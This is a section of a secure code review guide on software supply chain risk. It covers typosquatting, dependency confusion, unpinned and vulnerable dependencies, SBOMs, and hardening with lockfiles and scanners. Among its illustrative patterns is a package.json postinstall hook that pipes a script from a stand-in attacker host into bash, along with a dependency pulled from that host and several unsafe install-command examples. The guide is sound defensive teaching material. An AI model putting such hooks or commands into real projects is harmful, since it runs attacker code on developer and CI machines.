4.40 Review Software Supply Chain
4.40 - Review Software Supply Chain
Software supply chain risk appears when applications depend on vulnerable, tampered, or unmaintained open source packages. Review dependency manifests, lockfiles, and build pipelines. Confirm the team can inventory components with an SBOM (Software Bill of Materials), monitor CVEs, and respond when a dependency is compromised.
What This Vulnerability Is
Modern applications import most code from open source libraries. A vulnerable version of Log4j, a typosquatted package name, or a compromised maintainer account can affect every service that depends on it. Supply chain attacks target build systems, package registries, and transitive dependencies reviewers rarely read directly.
The unsafe assumption is that npm install, go get, or Maven Central always deliver trustworthy artifacts. Security review should verify dependency sources, pin versions, scan for known CVEs, and maintain an SBOM so incident response starts with facts instead of manual inventory. The OpenSSF ecosystem promotes SBOM standards such as CycloneDX and SPDX for documenting what ships in each release.
Vulnerability Characteristics (Where to Identify Them)
| Signal | Where to look |
|---|---|
| Feature type | Dependency manifests, Docker base images, CI install steps, private registry config |
| Unpinned versions | latest, broad semver ranges, missing lockfiles in production services |
| Known CVEs | Dependencies with published advisories in OSV, GitHub Advisory, or scanner output |
| Transitive risk | Vulnerabilities one or two levels deep in the dependency graph |
| Install scripts | postinstall hooks and package scripts executing during dependency install |
| Typosquatting | Package names close to but not matching canonical registry entries |
| Base images | Outdated Docker FROM tags without digest pinning or regular rebuilds |
Attack Payloads
Use these patterns in authorized dependency review, SBOM diffing, and CI policy tests—not to install unverified packages on production systems.
Pattern 1: Typosquatting package names
reqeusts # requests
python-dateutil # python-dateutil vs python-datelutil
@types/node # scoped typosquats in npm
django-admin # unrelated to django
Compare package names character-by-character against canonical registry entries.
Pattern 2: Dependency confusion (internal name squatting)
# Public registry publishes same name as internal private package
pip install company-utils # resolves to public typosquat if index misconfigured
npm install @company/auth-lib # public scope squatted
Pattern 3: Malicious install scripts
{
"scripts": {
"postinstall": "curl https://attacker.example/s.sh | bash"
}
}
Review postinstall, preinstall, and prepare in package.json and equivalent hooks in other ecosystems.
Pattern 4: Unpinned transitive upgrade
# requirements.txt: django>=3.0
# Lockfile not committed — CI pulls latest transitive deps each build
# New sub-dependency version introduces CVE or compromised maintainer
Pattern 5: Known vulnerable version left in place
log4j-core:2.14.1
node-forge:0.10.0
urllib3:1.26.5 # check against OSV/GitHub Advisory
spring-beans:5.3.18
Language-Specific Sinks and Dangerous APIs
Python
# requirements.txt — no hashes, floating versions
requests>=2.0
django>=3.0
subprocess.run(["pip", "install", "-r", "requirements.txt"])
pip.main(["install", user_supplied_package])
import pkg_resources; pkg_resources.require(user_input)
Also review: pip.conf index URL, Poetry without lockfile commit, setup.py install from git URLs.
Java
<dependency>
<version>LATEST</version>
<version>[1.0,)</version> <!-- open range -->
</dependency>
URLClassLoader.newInstance(urls); // loads JAR from user path
ScriptEngine with classpath from untrusted plugin dir
Gradle: dynamic versions 1.+, latest.release; missing dependency-lock.
C
<PackageReference Include="Newtonsoft.Json" Version="*" />
<PackageReference Include="Evil.Package" Version="1.0.0" /> <!-- unreviewed -->
Assembly.LoadFrom(userSuppliedPath);
dotnet add package from unverified feed
JavaScript
"dependencies": {
"lodash": "latest",
"some-package": "git+https://attacker.example/pkg.git"
}
require(userControlledModule);
child_process.exec('npm install ' + packageName);
Go
// go.mod without go.sum committed
require github.com/example/legacy v0.0.0-20180101000000-deadbeef
go get -u ./... // unpinned upgrade in CI
plugin.Open(userPath)
Shell / Docker
curl -sSL https://install.example.com/setup.sh | bash
pip install -r requirements.txt # no hash check
npm install --ignore-scripts=false
FROM python:3.8-slim # no digest pin
RUN pip install package-from-git
Sample Vulnerable Code in Python
# requirements.txt — no hashes, unpinned versions, vulnerable transitive deps
requests
pyyaml==5.1 # CVE-affected version left in place
django>=3.0 # floating lower bound pulls latest minor on each CI run
# settings.py — installs from arbitrary index without integrity verification
# pip.conf in repo points to untrusted mirror with no hash checking
import subprocess
def bootstrap_deps():
# Runs install scripts from every package in requirements.txt
subprocess.run(["pip", "install", "-r", "requirements.txt"], check=True)
# Dockerfile — outdated base, no digest pin
FROM python:3.8-slim
COPY requirements.txt .
RUN pip install -r requirements.txt
Step-by-Step Review Walkthrough
- Locate dependency manifests. Read
pom.xml,build.gradle,package.json,go.mod,requirements.txt,Gemfile, and Docker base images. - Check lockfiles. Confirm lockfiles are committed and CI installs from them; floating ranges increase surprise upgrades.
- Review transitive dependencies. Many CVEs live one or two levels deep; use scanner output, not only direct deps.
- Inspect registry configuration. Review
.npmrc,.m2, and PyPI index settings for mirror trust and integrity checks. - Follow build pipelines. Verify provenance, signed commits, and that release artifacts match tagged source.
- Confirm SBOM generation. Release builds should produce CycloneDX or SPDX documents stored with deployable artifacts.
- Ask about incident response. Patch SLA, emergency change process, and communication paths for zero-day advisories.
Risk Impact Analysis
Widespread compromise from one dependency. A single vulnerable library (for example Log4Shell) may affect every service that transitively includes it.
Build pipeline takeover. Compromised install scripts or typosquatted packages execute attacker code during CI or developer installs.
Slow incident response. Without an SBOM, teams spend hours manually inventorying production versions during active advisories.
Transitive blind spots. Direct dependencies may be current while nested libraries remain on vulnerable versions.
Container drift. Unpinned base images pull new OS packages on rebuild, introducing vulnerabilities without application code changes.
Vulnerable Examples in Other Languages
Java
<!-- pom.xml: vulnerable Log4j range without upper bound -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
# application.properties — floating version pulls latest on each CI run
spring.security.oauth2.client.version=5.7.+
C
<!-- PackageReference with floating version -->
<PackageReference Include="Newtonsoft.Json" Version="*" />
<!-- No lock file; RestorePackagesWithLockFile not enabled -->
Shell
#!/bin/bash
# CI bootstrap: unpinned install scripts, no hash verification
curl -sSL https://install.example.com/setup.sh | bash
pip install -r requirements.txt # no hashes; django>=3.0 floats on each run
npm install some-random-package@latest
# Dockerfile excerpt — digest not pinned
docker pull python:3.8-slim
Go
// go.mod: retracted or vulnerable module without replace/upgrade
require github.com/example/legacy-crypto v0.0.0-20180101000000-deadbeef
// Indirect dependency left unpatched after parent upgrade
require github.com/gin-gonic/gin v1.9.0 // pulls vulnerable transitive via old lock
Fix: Safer Patterns and Libraries to Use
Python
Pin dependencies with lockfiles and hash verification. Scan in CI.
# requirements.lock (generated by pip-tools) — excerpt
pyyaml==6.0.1 \
--hash=sha256:abcdef...
requests==2.31.0 \
--hash=sha256:123456...
django==4.2.11 \
--hash=sha256:789abc...
# .github/workflows/deps.yml excerpt
- name: Audit Python dependencies
run: |
pip install pip-audit
pip-audit -r requirements.lock
Use pip-tools or Poetry lockfiles. Run pip-audit in pull requests.
Java
Pin versions, ban snapshots in production, and generate SBOMs at package time.
<plugin>
<groupId>org.cyclonedx</groupId>
<artifactId>cyclonedx-maven-plugin</artifactId>
<executions>
<execution>
<phase>package</phase>
<goals><goal>makeAggregateBom</goal></goals>
</execution>
</executions>
</plugin>
Run OWASP Dependency-Check or GitHub Dependabot on every build. Use Maven Enforcer to ban snapshot dependencies in release profiles.
C
Use Central Package Management and lock files. Fail CI on critical CVEs.
<PropertyGroup>
<RestorePackagesWithLockFile>true</RestorePackagesWithLockFile>
</PropertyGroup>
- run: dotnet list package --vulnerable --include-transitive
Generate SBOMs with CycloneDX .NET or Microsoft SBOM Tool.
Go
Commit go.sum and verify in CI. Scan with govulncheck.
- run: go mod verify
- run: govulncheck ./...
Pin base images by digest in Dockerfiles.
FROM golang:1.22-bookworm@sha256:abc123...
See go mod verify and govulncheck.
Verify During Review
- Dependency versions are pinned or locked; production builds do not pull floating ranges.
- Automated CVE scanning runs on pull requests and on a schedule for default branches.
- An SBOM is produced for each release (CycloneDX or SPDX) and stored with deployment artifacts.
- Transitive dependencies with critical CVEs have documented upgrade or mitigation plans.
- Build pipelines use trusted registries, verify checksums, and restrict arbitrary install-time script execution where possible.
- Base container images and OS packages are updated on a defined cadence and scanned like application libraries.
- The team can answer "what version of library X is in production?" within minutes using the SBOM or dependency graph.
Reference
- CWE-1395: Dependency on Vulnerable Third-Party Component
- OWASP Software Component Verification Standard
- OpenSSF Best Practices for Open Source Developers
- CycloneDX specification
- SPDX specification
- OSV vulnerability database
- pip-tools documentation
- pip-audit
- OWASP Dependency-Check
- Go govulncheck
- GitHub Dependabot documentation